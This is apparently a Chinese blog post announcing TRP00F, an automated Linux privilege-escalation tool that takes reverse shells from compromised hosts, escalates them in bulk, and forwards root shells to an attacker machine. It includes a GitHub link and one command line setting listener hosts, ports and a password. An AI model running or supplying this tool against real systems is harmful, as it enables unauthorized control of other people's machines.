TRP00F (剥皮机) 自动化权限提升工具

最新推荐文章于 2024-08-09 22:12:28 发布
最新推荐文章于 2024-08-09 22:12:28 发布
阅读量137 收藏 2
点赞数 3
分类专栏： Exploit-Tools/S-H4CK13 文章标签： 自动化 运维
Whoami? Martin
本文链接：https://blog.csdn.net/qq_51886509/article/details/141071243
版权

TRP00F

项目地址:https://github.com/MartinxMax/trp00f

TRP00F 是一个完全自动化的 Linux 权限提升工具。被控制的端点通过反向 Shell 连接到权限提升机器，而权限提升机器将自动将权限提升到指定的攻击者机器。

TRP00F 是一个活跃维护和更新的工具，随着时间的推移，功能不断增加。

有趣的一点是，你可以将 TRP00F 部署在其他服务器上，充当一个“剥皮机”。任何连接到 TRP00F 的主机，其 Shell 都会尝试进行批量权限提升，然后将提升后的 Shell 连接到攻击者的机器上。

image-2.png

使用

$ python3 trp00f.py -h

image.png

探测并获取反向Shell

$ python3 trp00f.py --lhost 10.10.16.18 --lport 10022 --rhost 10.10.16.18 --rport 10090 --pkhttpport 10033 --lxhttpport 10091 --password 'admin@it'

image-1.png

Мартин.
关注
  • 3
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
软包动力锂电池高效率真空注液封装机
10-14
该设备是软包锂电池真空注液机中效率比较高的，它是按一出六的结构设计，机构精密灵巧，从自动上料，扫码不良排出，抽真空注液，三级静置，真空热压封装，下料等工序全是自动化完成。从前端上料开始，循环治具，到注...
Qsb.zip_operation_qsb_qsb d_trp qsb
09-24
【标题】"Qsb.zip_operation_qsb_qsb d_trp qsb" 提示我们这个压缩包文件可能包含关于“Qsb”操作、“Qsb_d”和“trp_qsb”的内容，这些可能是某种特定技术、工具或者算法的简称。在这个上下文中，“operation ...
trp_framework
03-22
该框架的名字“trp”可能代表了特定的项目缩写或者功能特性，而“framework”则暗示它提供了一套结构和工具，帮助开发者更加便捷地进行编程。 在深入探讨"trp_framework"之前，我们先了解一下Lua的一些基础知识。...
手机天线手模技术要求
03-31
手机天线2G、3G、4G频段TRP、TIS手模标准，天线手模技术要求，很有收藏价值，PM、品质，工程师值得收藏。手机天线2G、3G、4G频段TRP、TIS手模标准。
Rockchip平台DDR测试工具_V1.37发布通知.7z
01-12
Rockchip平台DDR测试工具_V1.37是一个专门针对Rockchip处理器平台进行内存（DDR）性能测试和诊断的软件工具。此版本1.37的发布通知表明该工具可能已经进行了若干次升级和优化，以提供更准确、稳定和高效的服务。在...
KillWxapkg 自动化反编译微信小程序，小程序安全评估工具，发现小程序安全问题，自动解密，解包，可还原工程目录，支持修改Hook，小程序
最新发布
网络研究观
08-09 294
一个用于自动化反编译微信小程序的工具，小程序安全利器，自动解密，解包，可还原工程目录，支持微信开发者工具运行。
bat批处理文件 —— 用于自动化环境配置和项目执行
shinuone的博客
08-06 979
batch脚本（简称：bat或批处理脚本）：用于自动化批量执行按照一定顺序排列而成的 DOS 命令集合。
振德医疗选择泛微千里聆RPA，助力电商、人事业务流程自动化
OAtysytf的博客
08-09 648
机器人从多个电商平台后台抓取业务数据报表，并自动完成各类业务报表的下载和导出等工作，减轻人工操作汇总的负担。同时自动完成多平台电商数据汇总，便于振德医疗进行多维度二次数据开发。机器人能够串联入职过程中的合同签署、候选人通知、入职状态更新及人员创建全过程，极大的减少了人事部门在候选人沟通管理过程中的负担，提升业务运营效率。针对多种OA流程，机器人能将符合条件的流程整体内容以及流程附件进行下载归档，本地保存。节省用户手工导出、处理、打印的重复性工作，避免手动归档错误、提升了流程归档的规范性和正确性。
为什么不用postman做自动化
qq_21319187的博客
08-09 118
不适合大规模自动化测试：Postman 主要是为手动测试 API 而设计的，虽然也支持简单的自动化测试脚本，但它不适合用于大型项目的持续集成和自动化测试。不适合安全性要求高的环境：Postman 不适合用于敏感数据的处理，因为所有的请求和响应都会保留在本地计算机上，可能会有安全风险。不支持跨平台：Postman 主要是一个桌面应用程序，虽然有在线版本，但其在线版本的功能受限，并不适合所有用例。不适合测试需要复杂逻辑的场景：Postman 的自动化测试脚本功能有限，不适合用于处理复杂的测试逻辑。
自动化专业英语
但行好事，莫问前程
08-06 363
英语词汇合集
工业三防平板赋能自动化产线打造工厂智慧管理
SUNPN1的博客
08-09 141
数据采集能力强，实时性高：工业三防平板可配置多种数据采集模块，例如条码扫描、RFID读写器、传感器等，能够快速准确地采集生产数据，并通过无线网络传输至MES系统，实现数据实时更新，为生产决策提供可靠依据。同时，平板轻巧便携，方便工人随时随地查看生产数据，实时监控生产进度，有效提高工作效率。移动式生产数据分析：平板可以收集生产过程中的各种数据，并通过MES系统进行分析，为生产管理提供数据支持，例如生产效率分析、设备利用率分析、质量控制分析等，帮助企业优化生产流程，提高生产效益。
JNPF快速开发平台助力企业实现工作流自动化
sdgfafg_25的博客
08-09 744
JNPF快速开发平台以其独特的技术优势，为企业提供了一条高效实现工作流自动化的捷径。通过该平台，企业不仅能够优化内部管理，提升工作效率，还能在激烈的市场竞争中保持敏捷和灵活。随着技术的不断进步，JNPF快速开发平台将继续助力企业实现更加智能化、自动化的业务流程管理。
Python对腾讯课程视频链接自动化抓取
weixin_43825473的博客
08-05 493
我使用的是N_m3u8DL。通过执行命令.\N_m3u8DL-CLI_v3.0.2 "下载地址uri" --workDir "下载后保存的位置" --saveName “下载后要保存的文件名”可以通过python执行import osos.system("") # 在此执行命令也可以保存到一个文件，把所有的下载命令，通过python直接执行那个脚本。最后：欢迎各位点评，如果想要源码，可以与我联系。
Conda依赖管理：自动化通知的艺术
2401_85743969的博客
08-06 576
你可以编写自定义脚本来检查。
[Meachines] [Easy] valentine SSL心脏滴血+SSH-RSA解密+trp00f自动化权限提升+Tmux进程劫持权限提升
08-09 245
#SSL心脏滴血 #SSH-RSA解密 #trp00f自动化权限提升 #Tmux进程劫持权限提升
电子纸打造智能、自动化、绿色的工作流程
ck_RFID_的博客
08-05 439
每次物料变动，人为打印标签也有信息打印错误的情况，使得物料数量就像薛定谔的猫，你不去一个一个的核对，永远无法知道数量是不是对的。引入电子纸可以完美解决标签混乱的问题，RFID电子纸是一个带着显示屏的RFID标签，可以在一个电子纸里设置多个页面显示不同的信息，支持万次以上的屏幕刷新、改写屏幕显示的内容。同时，RFID电子纸的使用，也使得大量的物料标签可以通过纸张打印，并几乎无限次地修改复用，从而优化了管理流程，实现了绿色化。电子纸的应用，使得工作流程更加智能化、自动化，实现了绿色环保，降低了生产成本。
自动化报表实践小结
08-06 354
我大概知道是什么事情了，原来我之前帮供应链部门做了很多自动化的优化，现在他们把我推荐给财务部门了，打了个免费的实实在在的广告，供应链现身说法，这不是好事么？都是常规的操作，之前或多或少都涉及了“。整体而言，这个自动化报表的难度不高，正如供应链经理所言，其实就是把之前弄过的一些方法改改就可以了，但是这样的自动化报表的象征意义大，业务部门会主动找上门了，不用咱去拼命的推广概念了，呵呵。经过了大概一个小时的需求收集，我大致对需求进行了分割，基本上心里有数了，大致的业务逻辑和涉及的Python技术点整理了一下。
案例精选 | 某省级妇幼保健院自动化安全运营中心建设成功实践
juminfo的博客
08-09 246
某省级妇幼保健院，是一所集医疗、保健、教学、科研、预防、康复于一体的省级三级甲等妇幼保健机构，专注于为全省妇女儿童提供全方位、高质量的医疗保健服务。医院拥有4个院区，总建筑面积10万平米，开放床位700+张，年门诊量近90万人次，凭借先进的医疗水平，连续多年在全国三级妇幼保健院绩效考核中位列A+等级。面对日益增长的信息安全挑战，医院虽已部署了众多安全产品，但在应对实时攻击与未知威胁时，如何高效整合、优化现有资源，实现安全能力的智能化、自动化联动，成为亟待解决的关键问题。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值